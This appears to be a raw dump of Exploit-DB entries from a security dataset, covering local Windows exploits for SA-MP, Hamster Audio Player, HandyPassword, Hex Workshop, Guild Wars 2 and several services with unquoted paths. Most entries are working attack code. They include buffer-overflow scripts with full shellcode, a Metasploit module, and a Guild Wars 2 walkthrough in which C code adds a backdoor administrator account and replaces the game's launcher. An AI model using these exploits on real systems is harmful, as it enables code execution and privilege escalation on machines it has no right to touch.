deardaniel/secdata-raw huggingface dataset:
Exploit-DB #18038
Description: GTA SA-MP - 'server.cfg' Local Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2011-10-26
Author: Metasploit

Exploit:
##
# $Id: gta_samp.rb 14076 2011-10-26 22:16:26Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'GTA SA-MP server.cfg Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack-based buffer overflow in GTA SA-MP Server.
				This buffer overflow occurs when the application attempts to open a malformed
				server.cfg file.  To exploit this vulnerability, an attacker must send the
				victim a server.cfg file and have them run samp-server.exe.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Silent_Dream',  # Original discovery, MSF Module, template by mona.py
				],
			'Version'        => '$Revision: 14076 $',
			'References'     =>
				[
					[ 'URL', 'http://www.exploit-db.com/exploits/17893' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Platform'       => 'win',
			'Payload'        =>
				{
					'BadChars'       => "\x0d\x0a\x1a",
					'Space'          => 392,
					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
					'DisableNops'    => true,
					'MaxSize'        => 392,
				},

			'Targets'        =>
				[
					[
						'GTA SA-MP (samp-server) v0.3.1.1',
						{
							'Ret' => 0x00429faa, # PUSH ESP; RET (samp-server.exe)
						}
					],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Sep 18 2011',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ false, 'The file name.', 'server.cfg'])
			], self.class)

	end

	def exploit

		buffer = "echo "
		buffer << rand_text_alpha_upper(379)
		buffer << [target.ret].pack('V')
		buffer << payload.encoded
		file_create(buffer)

	end
end
Exploit-DB #17893
Description: GTA SA-MP server.cfg - Local Buffer Overflow
Type: local
Platform: windows
Date: 2011-09-26
Author: Silent_Dream

Exploit:
# GTA SA-MP server.cfg Local Buffer Overflow Vulnerability (0day)
# Date: 9-26-11
# Author: Silent_Dream
# Software Link: http://team.sa-mp.com/files/samp03csvr_R2-2_win32.zip
# Tested on: XP SP3, Windows 7
# Thanks to: corelanc0d3r & team, Metasploit, Exploit-db.

#No PPRs found (app compiled with safeseh on), so this exploit uses EIP overwrite instead.
#392 bytes max payload space (after this you hit SEH), 3 badchars: 0x1a, 0x0d, 0x0a.

#Triggering Details: Overwrite server.cfg with this file, run samp-server.exe, boom calculator!

my $file = "server.cfg"; #file must be named server.cfg for bug to trigger.
my $head = "echo "; #probably not needed, tweak if you want.
my $junk = "\x41" x 379;
my $eip = "\xaa\x9f\x42\x00"; #push esp/ret in samp-server.exe
my $nops = "\x90" x 12;
my $adjust = "\x81\xc4\x54\xf2\xff\xff"; #add esp, -3500

my $shellcode =
#x86/shikata_ga_nai succeeded with size 227 (iteration=1) 
#Metasploit windows/exec calc.exe -b '\x1a\x0d\x0a' 

"\xdb\xc3\xd9\x74\x24\xf4\xbe\xe8\x5a\x27\x13\x5f\x31\xc9" .
"\xb1\x33\x31\x77\x17\x83\xc7\x04\x03\x9f\x49\xc5\xe6\xa3" .
"\x86\x80\x09\x5b\x57\xf3\x80\xbe\x66\x21\xf6\xcb\xdb\xf5" .
"\x7c\x99\xd7\x7e\xd0\x09\x63\xf2\xfd\x3e\xc4\xb9\xdb\x71" .
"\xd5\x0f\xe4\xdd\x15\x11\x98\x1f\x4a\xf1\xa1\xd0\x9f\xf0" .
"\xe6\x0c\x6f\xa0\xbf\x5b\xc2\x55\xcb\x19\xdf\x54\x1b\x16" .
"\x5f\x2f\x1e\xe8\x14\x85\x21\x38\x84\x92\x6a\xa0\xae\xfd" .
"\x4a\xd1\x63\x1e\xb6\x98\x08\xd5\x4c\x1b\xd9\x27\xac\x2a" .
"\x25\xeb\x93\x83\xa8\xf5\xd4\x23\x53\x80\x2e\x50\xee\x93" .
"\xf4\x2b\x34\x11\xe9\x8b\xbf\x81\xc9\x2a\x13\x57\x99\x20" .
"\xd8\x13\xc5\x24\xdf\xf0\x7d\x50\x54\xf7\x51\xd1\x2e\xdc" .
"\x75\xba\xf5\x7d\x2f\x66\x5b\x81\x2f\xce\x04\x27\x3b\xfc" .
"\x51\x51\x66\x6a\xa7\xd3\x1c\xd3\xa7\xeb\x1e\x73\xc0\xda" .
"\x95\x1c\x97\xe2\x7f\x59\x67\xa9\x22\xcb\xe0\x74\xb7\x4e" .
"\x6d\x87\x6d\x8c\x88\x04\x84\x6c\x6f\x14\xed\x69\x2b\x92" .
"\x1d\x03\x24\x77\x22\xb0\x45\x52\x41\x57\xd6\x3e\xa8\xf2" .
"\x5e\xa4\xb4";

open($File, ">$file");
print $File $head.$junk.$eip.$nops.$adjust.$shellcode;
close($FILE);
Exploit-DB #48876
Description: Guild Wars 2 - Insecure Folder Permissions
Type: local
Platform: windows
Date: 2020-10-14
Author: George Tsimpidas

Exploit:
# Exploit Title: Guild Wars 2 - Insecure Folder Permissions
# Date: 2020-10-09
# Exploit Author: George Tsimpidas
# Software Link : https://account.arena.net/welcome
# Version Build : 106915
# Tested on: Microsoft Windows 10 Home 10.0.18362 N/A Build 18362
# Category: local



Vulnerability Description:

Guild Wars 2 Launcher (Gw2-64.exe) suffers from an elevation of privileges
vulnerability which can be used by a simple user that can change the
executable file
with a binary of choice. The vulnerability exist due to the improper
permissions,
with the 'F' flag (Full) for 'Everyone' group, making the entire directory
'Guild Wars 2' and its files and sub-dirs world-writable.


# Local Privilege Escalation Proof of Concept


D:\icacls "Guild Wars 2"
Guild Wars 2 Everyone:(F)
Everyone:(OI)(CI)(IO)(M,WDAC,WO,DC)
BUILTIN\Administrators:(I)(F)
BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
NT AUTHORITY\Authenticated Users:(I)(M)
NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(IO)(M)
BUILTIN\Users:(I)(RX)
BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)

## Insecure File Permission

D:\Guild Wars 2icacls Gw2-64.exe
Gw2-64.exe Everyone:(F)
Everyone:(I)(F)
BUILTIN\Administrators:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\Authenticated Users:(I)(M)
BUILTIN\Users:(I)(RX)



#0. Download & install

#1. Create low privileged user & change to the user
## As admin

C:\net user lowpriv Password123! /add
C:\net user lowpriv | findstr /i "Membership Name" | findstr /v "Full"
User name lowpriv
Local Group Memberships *Users
Global Group memberships *None

#2. Move the Service EXE to a new name

D:\Guild Wars 2whoami
lowpriv

D:\Guild Wars 2move Gw2-64.exe Gw2-64.frey.exe
1 file(s) moved.

#3. Create malicious binary on kali linux
## Add Admin User C Code

kali# cat addAdmin.c
int main(void){
system("net user placebo mypassword /add");
system("net localgroup Administrators placebo /add");
WinExec("D:\\Guild Wars 2\\Gw2-64.frey.exe",0);
return 0;
}

## Compile Code
kali# i686-w64-mingw32-gcc addAdmin.c -l ws2_32 -o Gw2-64.exe

#4. Transfer created 'Gw2-64' to the Windows Host

#5. Move the created 'Gw2-64' binary to the 'D:\Guild Wars 2' Folder

D:\Guild Wars 2move C:\Users\lowpriv\Downloads\Gw2-64.exe .

#6. Check that exploit admin user doesn't exists

D:\Guild Wars 2net user placebo

The user name could not be found

#6. Reboot the Computer

D:\Guild Wars 2shutdown /r

#7. Login & now start the Guild Wars 2 Game, back doored launcher will be
executed, and the user placebo will be created, and added to the
Administrators group.

C:\Users\lowprivnet user placebo | findstr /i "Membership Name" | findstr
/v "Full"

User name placebo
Local Group Memberships *Administrators *Users
Global Group memberships *None
Exploit-DB #9567
Description: Hamster Audio Player 0.3a - 'Associations.cfg' Local Buffer (SEH) (1)
Type: local
Platform: windows
Date: 2009-09-01
Author: ThE g0bL!N

Exploit:
#!/usr/bin/perl
# by ThE g0bL!N
# Hamster Audio Player 0.3a (Associations.cfg) Local Buffer Exploit (SEH)
#usage: after clicking on perl file put the cfg file on folder of hamster then open the program after that select option menu and boom Calc !!!
############################################################################
my $bof="\x41" x 4108;
my $nsh="\xEB\x06\x90\x90";
my $seh="\xB8\x15\xC6\x72";
my $sec=
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34".
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47".
"\x45\x30\x4a\x47\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x41\x4b\x48".
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x58\x46\x43\x4b\x38".
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c".
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48".
"\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x44".
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x48".
"\x41\x50\x4b\x4e\x49\x58\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x33".
"\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x37".
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x58\x42\x57\x4e\x51\x4d\x4a".
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x48\x42\x48\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x48\x4a\x56\x4e\x33\x4f\x35\x41\x53".
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x57".
"\x42\x35\x4a\x46\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x36\x4a\x59".
"\x50\x4f\x4c\x38\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x41\x56".
"\x4e\x56\x43\x46\x42\x30\x5a";
print $bof.$nsh.$seh.$nop.$sec;
###################################################################
open(myfile,'>> Associations.cfg');
print myfile $bof.$nsh.$seh.$nop.$sec;
###################################################################

# milw0rm.com [2009-09-01]
Exploit-DB #9580
Description: Hamster Audio Player 0.3a - 'Associations.cfg' Local Buffer (SEH) (2)
Type: local
Platform: windows
Date: 2009-09-03
Author: hack4love

Exploit:
#!/usr/bin/perl
# by hack4love
# hack4love@hotmail.com
# Hamster Audio Player 0.3a (Associations.cfg) Local Buffer Exploit //sp2(SEH)
# Original exploit::http://www.milw0rm.com/exploits/9567
# put the cfg file on folder of hamster then open
# the program after that select option menu and boom Calc !!!
############################################################################
my $bof="\x41" x 4108;
my $nsh="\xEB\x06\x90\x90";
my $seh="\xbe\x2e\xd1\x72";##test under sp2
my $sec=
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34".
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47".
"\x45\x30\x4a\x47\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x41\x4b\x48".
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x58\x46\x43\x4b\x38".
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c".
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48".
"\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x44".
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x48".
"\x41\x50\x4b\x4e\x49\x58\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x33".
"\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x37".
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x58\x42\x57\x4e\x51\x4d\x4a".
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x48\x42\x48\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x48\x4a\x56\x4e\x33\x4f\x35\x41\x53".
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x57".
"\x42\x35\x4a\x46\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x36\x4a\x59".
"\x50\x4f\x4c\x38\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x41\x56".
"\x4e\x56\x43\x46\x42\x30\x5a";
print $bof.$nsh.$seh.$nop.$sec;
###################################################################
open(myfile,'>> Associations.cfg');
print myfile $bof.$nsh.$seh.$nop.$sec;
###################################################################

# milw0rm.com [2009-09-03]
Exploit-DB #9172
Description: Hamster Audio Player 0.3a - Universal Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2009-07-16
Author: ThE g0bL!N

Exploit:
#!/usr/bin/perl
#[+] Bug : Hamster Audio Player 0.3a Universal BOF Exploit (SEH)
#[+] Author : ThE g0bL!N
#[+] Greetz to all my friends
#[+] Tested on: Windows XP Pro SP2 (Fr)
##[+] Big thnx: His0k4
##########################################################
# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
my $shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44".
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47".
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38".
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48".
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c".
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58".
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44".
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38".
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33".
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47".
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a".
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53".
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57".
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39".
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46".
"\x4e\x46\x43\x36\x42\x50\x5a";
my $junk="\x41" x (4103-length($shellcode));
my $jmp="\xE9\xF4\xEF\xFF\xFF";
my $next_seh="\xEB\xF9\x41\x42";
my $seh="\x0F\x39\x42\x00";
open(myfile,'>>exploit.m3u');#/hpl
print myfile $shellcode.$junk.$jmp.$next_seh.$seh;

# milw0rm.com [2009-07-16]
Exploit-DB #19192
Description: Hancom Office 2007 - 'Reboot.ini' Clear-Text Passwords
Type: local
Platform: windows
Date: 1999-02-09
Author: Russ Cooper

Exploit:
source: https://www.securityfocus.com/bid/228/info

During installation of BackOffice 4.0, a file called reboot.ini is created and stored in the \Program Files\Microsoft BackOffice directory. This file contains clear-text usernames and passwords for several services that may be created during installation. These services include: SQL Executive Logon, Exchange Services, and MTS Remote Administration (and potentially others). The File ACLs for this file are set to Everyone:Full Control. 

Clear-text usernames and passwords are stored in the \Program Files\Microsoft BackOffice\Reboot.ini file.
Exploit-DB #38504
Description: HandyPassword 4.9.3 - Overwrite (SEH)
Type: local
Platform: windows
Date: 2015-10-21
Author: Un_N0n

Exploit:
'''
********************************************************************************************
# Exploit Title: HandyPassword SEH-Over Write Exploit
# Date: 9/24/2015
# Exploit Author: Un_N0n
# Software Link: http://www.handypassword.com/download.shtml
# Version: 4.9.3
# Tested on: Windows 7 x86(32 BIT)
********************************************************************************************

[Steps to Produce the Crash]:
1- open 'HandyPassword.exe'.
2- Then From Menu Goto New Card->Simple Login Form.
3- Click on Create Card, Enter the contents of 'Exploit.txt' Created by script in the Title Field.
4- Enter Short Random value in the rest of the fields.
5- Click on OK
~ Calculator will appear and Software will Crash.

[Code to produce Exploit]: 
'''

junk = "A"*1144

nseh = "\xeb\x06\x90\x90" #JMP 6bytes
jmp ="\xB3\x27\x2F\x7F"  #0x7f2f27b3 From 

nops = "\x90"*50
shellcode = ("\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
"\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
"\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
"\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
"\x57\x78\x01\xc2\x8b\x7a\x20\x01"
"\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
"\x45\x81\x3e\x43\x72\x65\x61\x75"
"\xf2\x81\x7e\x08\x6f\x63\x65\x73"
"\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
"\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
"\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
"\xb1\xff\x53\xe2\xfd\x68\x63\x61"
"\x6c\x63\x89\xe2\x52\x52\x53\x53"
"\x53\x53\x53\x53\x52\x53\xff\xd7");
junk2 = "D"*2000

file = open("exploit.txt",'w')
file.write(junk+nseh+jmp+nops+shellcode+junk2)
file.close()
Exploit-DB #50566
Description: HCL Lotus Notes V12 - Unquoted Service Path
Type: local
Platform: windows
Date: 2021-12-06
Author: Mert Daş

Exploit:
# Exploit Title: HCL Lotus Notes V12- Unquoted Service Path
# Exploit Author: Mert DAŞ
# Version: V12
# Date: 01/12/2021
# Vendor Homepage: https://www.hcltechsw.com/domino/download
# Tested on: Windows 10


ProcessId   : 3860
Name        : LNSUSvc
DisplayName : HCL Notes Smart Upgrade Hizmeti
PathName    : c:\HCL\Notes\SUService.exe
StartName   : LocalSystem
StartMode   : Auto
State       : Running

Discovery
-------------------------
C:\Users\Mert>wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """


#Exploit:

A successful attempt would require the local user to be able to insert
their code in the system root path undetected by the OS or other security
applications where it could potentially be executed during application
startup or reboot. If successful, the local user's code would execute with
the elevated privileges of the application.
Exploit-DB #39820
Description: Hex : Shard of Fate 1.0.1.026 - Unquoted Path Privilege Escalation
Type: local
Platform: windows
Date: 2016-05-16
Author: Cyril Vallicari

Exploit:
-----------------------------------------------------------------------------------------------------------------
# Exploit Title: Hex : Shard of Fate 1.0.1.026 - Privilege
Escalation Unquoted path vulnerability
# Date: 15/05/2016
# Exploit Author : Cyril Vallicari
# Vendor Homepage: http://gameforge.com
# Software Link:  https://hex.gameforge.com/ or via steam
# Version:  1.0.1.026 and probably prior
# Tested on: Windows 7 x64 SP1 (but it should works on all windows version)

Summary : Hex: Shard of Fate is a new breed of digital card game, combining
classic TCG gameplay with elements of an online RPG

Description : The game executable is prone to an unquoted path
vulnerability. When you go to the in-game store it fail to quote the
following command which is used multiple times :

C:/Program Files (x86)/Steam/steamapps/common/HEX SHARDS OF
FATE/Hex_Data/StreamingAssets/uWebKit/Windows/x86/UWKProcess.exe -parentpid
5808
-processdb QzovVXNlcnMvVXRpbGlzYXRldXIvQXBwRGF0YS9Mb2NhbExvdy9IRVggRW50ZXJ0YWlubWVu
dC9IZXgvdVdlYktpdFByb2Nlc3MuZGI=

This could potentially allow an authorized but non-privileged local user to
execute arbitrary code with elevated privileges on the system.

POC :

Put a software named Program.exe in C:

Launch the game or steam with high privileges and go to store

POC video : https://www.youtube.com/watch?v=E1_1wZea1ck

Patch :

Still waiting, no reward so full disclosure after 10 days
-----------------------------------------------------------------------------------------------------------------
Exploit-DB #8121
Description: Hex Workshop 6.0 - '.hex' Local Code Execution
Type: local
Platform: windows
Date: 2009-02-27
Author: DATA_SNIPER

Exploit:
#!/usr/bin/perl -w
# Hex Workshop <= v6 (.hex) File Local Code Execution
# Discovred by : Security^Ghost
# Exploited by : DATA_SNIPER
# Exploit Tested on WindoZ XP SP2 FR.
# for more information vist my blog:http://datasniper.arab4services.net/
# the exploit it's so weird ;),take look at the shellcode,and remember it's not AlphaNum.

print "==========================================================================\n";
print "Hex Workshop v6 (.HEX File) Local Code Execution\n";
print "Exploited by DATA_SNIPER\n";
print "Greetz to: arab4services team and AT4RE Team\n";
print "for more: http://datasniper.arab4services.net/\n";
print "===================================================================== \n";
$junk=":0000FC\x0D\x0A:";
$shelladd="B8EE1300D0EE1300C8EE1300AAAAAAAAC8EE1300C8EE1300";#shell address in the stack and some address junk for make the exploit work as well.
#some times the stack address change to "0012xxxx" so you can use this instead
# $shelladdrr="B8EE1200D0EE1200C8EE1200AAAAAAAAC8EE1200C8EE1200"
$nop="[PII_REDACTED][PII_REDACTED][PII_REDACTED]";# strange noop xD
#shellcode from metasploit,execute calc.exe
#shellcode copied as it's and when the data being treated will be converted to HEX format.
$shellcode="33c9b11ebbf01a028cdaccd97424f45a83c204315a0b035afbf8f77013b8f788e3cabdb468b038bd6fa6c87277b390ac86286726bc2579d68df9e38a693967d4b07085dbf06e62e0a0548f62ad1ed0a82cca893b2247dd6326560a104ad3cdccfbbfe9163860c3e0dec9478658c60cd868ad63c5dd3aebfd94c56f3dcc6518c0c864ab547096c6abd79830d0b60adc17";
$buff='A' x 248;
$sploit =$junk.$buff.$shelladd.$nop.$shellcode;
$fle = "Xploit.hex" ;
open($data, ">>$fle") or die "Cannot open $data";
print $data $sploit;
close($data);
print "$fle has been created\n";
print "open it in HexWorkshop file->import.\n";

# milw0rm.com [2009-02-27]
Exploit-DB #49701
Description: Hi-Rez Studios 5.1.6.3 - 'HiPatchService' Unquoted Service Path
Type: local
Platform: windows
Date: 2021-03-23
Author: Ekrem Can Kök

Exploit:
# Exploit Title: Hi-Rez Studios 5.1.6.3 - 'HiPatchService' Unquoted Service Path
# Dicovery by: Ekrem Can Kök
# Discovery Date: 2021-03-22
# Vendor Homepage: https://www.hirezstudios.com
# Version: 5.1.6.3
# Tested on: Windows 10 Pro x64

# Step to discover Unquoted Service Path:

C:\>wmic service get name, pathname, displayname, startmode | findstr /i "Auto" | findstr /i /v "C:\" | findstr /i "HiPatchService" | findstr /i /v """

Hi-Rez Studios Authenticate and Update Service HiPatchService C:\Program Files (x86)\Hi-Rez Studios\HiPatchService.exe Auto

# Service info:

C:\>sc qc "HiPatchService"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: HiPatchService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\Program Files (x86)\Hi-Rez Studios\HiPatchService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Hi-Rez Studios Authenticate and Update Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

# Exploit:

This vulnerability could permit executing code during startup or reboot with the escalated privileges.